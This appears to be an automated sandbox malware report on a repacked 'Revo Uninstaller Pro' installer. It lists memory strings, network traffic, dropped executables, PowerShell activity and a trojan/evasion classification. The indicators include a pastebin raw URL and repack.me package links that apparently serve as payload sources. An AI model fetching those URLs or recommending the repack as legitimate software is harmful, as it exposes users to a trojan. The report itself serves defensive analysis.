Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/rosoft
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B260000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159782360.000000000B282000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/tsjtmfdm.pkg
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/tsjtmfdm.pkg2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/tsjtmfdm.pkgW
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/tsjtmfdm.pkgZ
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/tsjtmfdm.pkgo
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.repack.me/y
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://opera.com/privacy
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159925120.000000000B245000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191694426.000000000B245000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362624154.000000000B245000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159703361.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9B
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159455427.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159703361.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9B.
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777185500.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2775823777.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9BHI
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777185500.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2775823777.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9Bd
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9Bget8191
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777185500.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2775823777.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9Bs
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159553605.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9Bt
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159455427.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159703361.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/vkwZzU9By2
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://policies.google.com/terms;
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://redir.opera.com/uninstallsurvey/
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://repack.me/ad.html
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://sourcecode.opera.com
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://telegram.org/tos/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://twitter.com/en/tos;
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.opera.com
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.opera.com..
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.opera.com/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.opera.com/download/
Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.opera.com/privacy
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstaller.com/buy-update-subscription-btn/https://www.revouninstaller.com/buy-now-
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.revouninstaller.com/contact-us/C:
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.revouninstaller.com/downloads-manager/?filename=pro-%shttps://www.revouninstaller.com/up
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.revouninstaller.com/feedback/?product=pro
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstaller.com/feedback/?product=pro%d-%d-%dLast
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.revouninstaller.com/revo-uninstaller-mobile-qr-and-link/
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstaller.com/revo-uninstaller-mobile-qr-and-link/Software
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.revouninstaller.com/revo-uninstaller-pro-full-version-history/)
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstaller.com/support/
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstaller.com/updatepro5.xmlhttps://www.revouninstaller.com/downloads-manager/?fil
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstaller.comAffHomewww.revouninstaller.comwww.revouninstallerpro.com
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.revouninstallerpro.com/db/ilogs/.ruelDelete
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.revouninstallerpro.com/db/ilogs/Uninstaller
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.whatsapp.com/legal;

Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.87.189.43:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.30:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.38:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.39:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.125.189:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.30:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.36:443 -> 192.168.2.4:49858 version: TLS 1.2

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Code function: 0_2_00405866 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405866

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FD6FC6: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

16_2_00FD6FC6

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00403665 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403665
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00403665 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		26_2_00403665

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\Windows\system32\DRIVERS\SETB88F.tmp

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\system32\DRIVERS\SETB88F.tmp			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\system32\DRIVERS\SETB88F.tmp			Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File deleted: C:\Windows\System32\drivers\SETB88F.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00406DC0	0_2_00406DC0
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE626D	16_2_00FE626D
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FD83C0	16_2_00FD83C0
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FD30FC	16_2_00FD30FC
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FFC0B0	16_2_00FFC0B0
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FF0113	16_2_00FF0113
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE33D3	16_2_00FE33D3
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEF3CA	16_2_00FEF3CA
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDF5C5	16_2_00FDF5C5
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FFC55E	16_2_00FFC55E
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FF0548	16_2_00FF0548
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDE510	16_2_00FDE510
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE66A2	16_2_00FE66A2
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FD2692	16_2_00FD2692
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE364E	16_2_00FE364E
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_01000654	16_2_01000654
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEF8C6	16_2_00FEF8C6
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE589E	16_2_00FE589E
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE397F	16_2_00FE397F
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDE973	16_2_00FDE973
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDDADD	16_2_00FDDADD
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDBAD1	16_2_00FDBAD1
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEFCDE	16_2_00FEFCDE
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FE6CDB	16_2_00FE6CDB
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FF3CBA	16_2_00FF3CBA
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FD5D7E	16_2_00FD5D7E
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FF3EE9	16_2_00FF3EE9
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FD3EAD	16_2_00FD3EAD
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDDF12	16_2_00FDDF12
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048CB560	17_2_048CB560
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048CB551	17_2_048CB551
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048C97D8	17_2_048C97D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_07682308	17_2_07682308
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_07680DB0	17_2_07680DB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_0517B578	21_2_0517B578
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_0517B569	21_2_0517B569
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_08D465D8	21_2_08D465D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_08D44AA0	21_2_08D44AA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_0467B580	23_2_0467B580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_0467B565	23_2_0467B565
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_082759B0	23_2_082759B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00406DC0	26_2_00406DC0

Source: Joe Sandbox View

Dropped File: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll BDA04B693BFDEA86A7A3B47F2E4CEAE9CD9475C4E81B0AA73B70FD244A65F70F

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: String function: 00FED940 appears 51 times
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: String function: 00FED870 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: String function: 00FEE2F0 appears 31 times

Source: setup.exe.27.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: setup.exe.28.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Source: ruplp.exe.0.dr

Static PE information: Number of sections : 11 > 10

Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameinetc.dllF vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.00000000033A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRevoAppBar.exeJ vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRevoUninPro.exeD vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRevoUnPro.exeD vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerevoflt.sysJ vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRUExt.dll^ vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000005140000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRevoAppBar.exeJ vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRevoUninPro.exeD vs Revo.Uninstaller.Pro.v5.3.4.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRevoUPPort.exe@ vs Revo.Uninstaller.Pro.v5.3.4.exe

Source: Revo.Uninstaller.Pro.v5.3.4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal44.troj.evad.winEXE@44/128@9/7

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FD6D06 GetLastError,FormatMessageW,

16_2_00FD6D06

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00403665 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403665
